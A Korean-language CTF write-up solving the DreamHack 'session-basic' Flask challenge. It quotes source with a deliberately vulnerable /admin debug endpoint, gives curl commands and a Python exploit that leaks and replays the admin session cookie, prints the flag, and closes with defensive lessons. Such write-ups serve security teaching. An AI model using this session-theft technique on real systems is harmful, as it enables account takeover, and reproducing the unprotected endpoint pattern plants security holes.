문제: DreamHack — session-basic 분류: Web 난이도: ⭐⭐⭐⭐ Level 4 FLAG:
DH{8f3d86d1134c26fedf7c4c3ecd563aae3da98d5c}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | session-basic |
| 난이도 | ⭐⭐⭐⭐ Level 4 |
| 분류 | Web (Session / Authentication) |
| 제공 파일 | app.py (Flask) |
| 서버 | http://host8.dreamhack.games:8412/ |
| 핵심 취약점 | /admin 디버그 엔드포인트가 session_storage 전체를 JSON으로 반환 |
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스. admin 계정의 비밀번호가 FLAG이기 때문에 직접 로그인은 불가능하지만, 서버 부팅 시 admin 세션이 미리 생성돼 session_storage에 들어간다. 문제 풀이의 핵심은 그 sessionid를 어떻게 빼내느냐다.
🔬 분석
Step 1 — 메인 페이지 및 로그인 폼 확인
배포 서버에 접속하면 단순한 인덱스 페이지와 로그인 폼이 보인다.


guest:guest로 우선 정상 동작을 확인해보면, 세션이 발급되고 Hello guest, you are not admin 메시지가 출력된다.

Step 2 — 소스코드 핵심 부분
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG # admin의 비밀번호 = 플래그 본문
}
session_storage = {}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html',
text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')/ 에서는 쿠키의 sessionid를 키로 session_storage를 조회해 username을 가져오고, admin이면 플래그를 출력한다. 평범한 세션 인증 로직.
문제는 admin의 password가 곧 FLAG라는 점. brute force도 사실상 불가능. 그런데 서버 부팅부에 흥미로운 코드가 있다.
if __name__ == '__main__':
import os
# create admin sessionid and save it to our storage
# and also you cannot reveal admin's sesseionid by brute forcing!!! haha
session_storage[os.urandom(32).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)서버가 시작될 때 admin 세션이 자동으로 만들어지고, 256비트 랜덤 sessionid가 session_storage에 박혀 있다. brute force는 불가능 — "haha"라는 주석이 그걸 비웃고 있다.
Step 3 — 진짜 취약 지점: /admin 엔드포인트
@app.route('/admin')
def admin():
# developer's note: review below commented code and uncomment it (TODO)
#session_id = request.cookies.get('sessionid', None)
#username = session_storage[session_id]
#if username != 'admin':
# return render_template('index.html')
return session_storage개발자의 TODO 주석이 자랑스럽게 박혀 있다. 권한 검사 코드가 통째로 주석 처리돼 있고, 그 아래에서 session_storage 딕셔너리를 그대로 반환한다. Flask는 dict 반환 시 자동으로 JSON으로 직렬화해서 응답한다.
즉, /admin 에 GET 한 방이면 admin sessionid를 포함한 전체 세션 테이블이 평문으로 노출된다.
💣 핵심 취약점
미사용/주석 처리된 디버그 엔드포인트 노출 (Information Disclosure)
- 개발 중에는 디버깅용으로 모든 세션 상태를 출력하는 게 편하지만, 운영 빌드까지 그대로 살아남으면 곧 인증 우회 수단이 된다.
- sessionid는 충분히 랜덤(256비트)해도, 저장소 자체가 노출되면 엔트로피는 의미가 없다.
- 한 줄짜리 권한 검사를 깜빡한 결과, brute force가 불가능했던 admin 세션이 통째로 새어 나간다.
🎯 풀이
순서는 매우 단순하다.
GET /admin→session_storageJSON에서 value가"admin"인 key 추출- 그 key를
sessionid쿠키로 세팅 GET /→ admin으로 인식되며 플래그 본문 출력
Step 1 — admin sessionid 탈취
curl -s http://host8.dreamhack.games:8412/admin응답:
{"a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a":"admin"}깔끔하게 admin sessionid가 노출된다.

Step 2 — sessionid를 쿠키로 박고 / 호출
curl -s -b "sessionid=a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a" \
http://host8.dreamhack.games:8412/응답 HTML 안에 Hello admin, flag is DH{...} 가 박혀 있다.

🚀 Full Exploit
import requests, re
BASE = "http://host8.dreamhack.games:8412"
# 1. /admin endpoint leaks the entire session_storage
leaked = requests.get(f"{BASE}/admin").json()
admin_sid = next(sid for sid, user in leaked.items() if user == "admin")
print(f"[+] admin sessionid: {admin_sid}")
# 2. Use the stolen sessionid as cookie
r = requests.get(f"{BASE}/", cookies={"sessionid": admin_sid})
flag = re.search(r"DH\{[^}]+\}", r.text).group(0)
print(f"[+] FLAG: {flag}")실행 결과:
[+] admin sessionid: a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a
[+] FLAG: DH{8f3d86d1134c26fedf7c4c3ecd563aae3da98d5c}📝 결론
디버그 엔드포인트는 운영 빌드에 절대 남기지 말 것 — 가장 흔하면서도 가장 치명적인 정보 노출 패턴이다. TODO 주석은 잊혀지고, 권한 체크는 영원히 commented-out 상태로 살아남는다. 코드 리뷰에서 "주석 처리된 인증 로직"이 보이면 그 PR은 반려 대상이다.
저장소 노출은 엔트로피를 무력화한다 — os.urandom(32)로 256비트 sessionid를 발급해도, 그 저장소 자체를 통째로 보여주는 엔드포인트가 있으면 brute force 난이도는 0이 된다. "추측 불가"는 추측이 시도조차 필요 없을 때 의미가 있다.
Flask return dict 의 자동 JSON 직렬화 함정 — 디버깅 중 무심코 return some_dict 라고 쓰면 Flask가 친절하게 JSON으로 만들어 응답한다. 편리하지만, 그 dict가 민감 정보면 그대로 외부에 노출된다는 뜻이기도 하다.